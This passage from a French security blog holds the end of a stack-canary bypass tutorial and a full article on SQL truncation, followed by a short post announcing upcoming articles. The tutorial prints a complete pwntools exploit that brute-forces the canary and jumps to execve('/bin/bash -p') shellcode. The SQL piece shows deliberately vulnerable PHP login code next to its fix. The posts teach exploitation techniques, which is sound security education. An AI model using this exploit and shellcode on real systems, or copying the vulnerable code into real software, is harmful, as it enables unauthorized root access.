class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">trigger</span><span class="p">(</span><span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="s2">&quot;bbbb&quot;</span><span class="p">)</span> <span class="c1"># Rewrite eip par bbbb</span> </pre></div> <p>Il ne reste plus ensuite qu'à exploiter le programme de manière classique:</p> <div class="highlight"><pre><span></span><span class="gp">#</span> On <span class="nb">export</span> notre shellcode dans une variable d<span class="err">&#39;</span>environnement <span class="go">http://shell-storm.org/shellcode/files/shellcode-606.php execve(&quot;/bin/bash&quot;, [&quot;/bin/bash&quot;, &quot;-p&quot;], NULL)</span> <span class="gp">root@Geluchat:~#</span> <span class="nb">export</span> <span class="nv">SC</span><span class="o">=</span><span class="k">$(</span>python -c <span class="s2">&quot;print &#39;\x90&#39;*100+&#39;\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80&#39;&quot;</span><span class="k">)</span> <span class="gp">root@Geluchat:~#</span>./getenv SC <span class="go">0xffffdf3e</span> </pre></div> <p>getenv.c</p> <div class="highlight"><pre><span></span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"></span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;0x%x</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">getenv</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span> <span class="p">}</span> </pre></div> <p>Exploit final :</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c1"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s1">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[*] byte : </span><span class="si">%r</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s1">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="k">def</span> <span class="nf">getshell</span><span class="p">():</span> <span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s2">&quot;Enjoy your shell!&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">&quot;python -c </span><span class="se">\&quot;</span><span class="s2">import pty;pty.spawn(&#39;/bin/bash&#39;)</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s2">&quot;[+] Canary </span><span class="si">%#x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">buf</span><span class="o">=</span><span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0xffffdf3e</span><span class="o">+</span><span class="mi">20</span><span class="p">)</span> <span class="c1"># On ajoute +20 en raison du padding de l&#39;environnement</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">getshell</span><span class="p">()</span> </pre></div> <p>Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.</p> <p>Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les SQL truncations : Une faille méconnue, mais très efficace2015-01-30T11:35:00+01:002015-01-30T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-30:/les-sql-truncations<p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation …</p><p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation, ça ressemble à quoi? Et bien, ça n'est pas très difficile à appréhender.</p> <p>Prenons l'exemple du script SQL suivant:</p> <div class="highlight"><pre><span></span><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">TEST_DAILYSECURITY</span><span class="p">(</span> <span class="n">id</span> <span class="nb">int</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="n">AUTO_INCREMENT</span><span class="p">,</span> <span class="n">login</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span> <span class="n">password</span> <span class="nb">CHAR</span><span class="p">(</span><span class="mi">32</span><span class="p">),</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="p">);</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;admin x&#39;</span><span class="p">,</span><span class="s1">&#39;mdp&#39;</span><span class="p">);</span> </pre></div> <p>Avec un select de la table, on obtient:</p> <div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">login</span><span class="p">,</span> <span class="n">password</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span><span class="p">;</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span> <span class="n">login</span> <span class="o">|</span> <span class="n">password</span> <span class="o">|</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span> <span class="k">admin</span> <span class="o">|</span> <span class="n">mdp</span> <span class="o">|</span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="mi">1</span> <span class="k">row</span> <span class="k">in</span> <span class="k">set</span> <span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">00</span> <span class="n">sec</span><span class="p">)</span> </pre></div> <p>Le résultat est sans appel, le login a été tronqué par mysql. </p> <p>Mais pourquoi? Pour les plus observateurs, vous aurez remarqué que le champ login est un varchar de 12 caractères, donc mysql ne réfléchit pas, il enregistre dans l'espace qu'on lui a réservé, d’où la troncation du login.</p> <p><em>Remarque : MySQL efface les espaces derrière pour une raison d'optimisation de stockage.</em></p> <p>Maintenant, à quoi ça sert?</p> <p>Les exemples d'exploitation de cette faille sont multiples:</p> <ul> <li>En cas d'une mauvaise gestion de l’accès au back office d'un site, comme avec un:</li> </ul> <div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="n">id</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">WHERE</span> <span class="n">login</span><span class="o">=</span><span class="s1">&#39;admin&#39;</span> <span class="k">AND</span> <span class="n">password</span><span class="o">=</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">;</span> </pre></div> <p>Suivi d'un test d'un type mysql_num_rows &gt; 0 , l'utilisateur aurait accès au panel d’administration.</p> <div class="highlight"><pre><span></span> <span class="nv">$db</span> <span class="o">=</span> <span class="nb">mysql_connect</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span> <span class="s1">&#39;root&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span> <span class="nb">mysql_select_db</span><span class="p">(</span><span class="s1">&#39;TEST_DAILYSECURITYDB&#39;</span><span class="p">,</span><span class="nv">$db</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">&quot;SELECT id FROM TEST_DAILYSECURITY WHERE login=&#39;admin&#39; AND password=&#39;&quot;</span><span class="o">.</span><span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">])</span><span class="o">.</span><span class="s2">&quot;&#39;&quot;</span><span class="p">;</span> <span class="nv">$req</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Erreur SQL !&#39;</span><span class="o">.</span><span class="nv">$sql</span><span class="o">.</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="nb">mysql_error</span><span class="p">());</span> <span class="k">if</span><span class="p">(</span><span class="nb">mysql_num_rows</span><span class="p">(</span><span class="nv">$req</span><span class="p">)</span><span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">// Si la requête retourne au moins un résultat, on accède à la zone administrateur</span> <span class="p">{</span> <span class="c1">// ZONE ADMIN</span> <span class="k">echo</span> <span class="s1">&#39;Bienvenue Administrateur&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s1">&#39;Location: &#39;</span><span class="o">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;HTTP_REFERER&#39;</span><span class="p">]);</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s1">&#39;&lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Password: &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;/ br&gt;</span> <span class="s1"> &lt;input type=&quot;submit&quot; name=&quot;Se Connecter&quot;&gt;</span> <span class="s1"> &lt;/form&gt;&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="nb">mysql_close</span><span class="p">();</span> </pre></div> <ul> <li>Un problème par requêtes multiples. On peut prendre comme exemple le <a href="http://kitctf.de/writeups/gits2015/aart/">challenge aart</a> de Ghost in the Shellcode qui avait deux requêtes insert à la suite, la deuxième utilisant une clause where sur un élément tronqué, un petit exemple:</li> </ul> <div class="highlight"><pre><span></span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">,</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">);</span> <span class="c1">-- Si le login est supérieur à 12 il sera tronqué</span> <span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">AUTRE</span> <span class="n">TABLE_AVEC_IDUSER</span> <span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,(</span><span class="k">SELECT</span> <span class="n">id</span> <span class="k">FROM</span> <span class="n">TEST_DAILYSECURITY</span> <span class="k">WHERE</span> <span class="n">login</span><span class="o">=</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">));</span> <span class="c1">-- Cette table contiendrait des données incorrectes, je vous laisse imaginer si c&#39;était la table gérant les privilèges utilisateurs...</span> </pre></div> <p>On a donc pu voir que les SQL truncations sont très dangereuses et fortement méconnues. A savoir que la faille fonctionne aussi sous <a href="https://pastebin.com/1g3es9nq">PDO</a>. </p> <p>La solution, pour patcher cette faille, est très simple:</p> <div class="highlight"><pre><span></span><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span><span class="o">&gt;</span><span class="mi">12</span><span class="p">)</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Veuillez rentrer un login inférieur à 12 caractères&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// Vérification connexion administrateur et formulaire de connexion</span> <span class="p">}</span> </pre></div> <p>Voila, c'est déjà terminé, n'hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l'actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les posts à venir2015-01-26T00:25:00+01:002015-01-26T00:25:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-26:/les-posts-a-venir<p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si …</p><p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si vous voulez prendre de l'avance sur moi n'hésitez pas à aller googler tout ça  :)</p>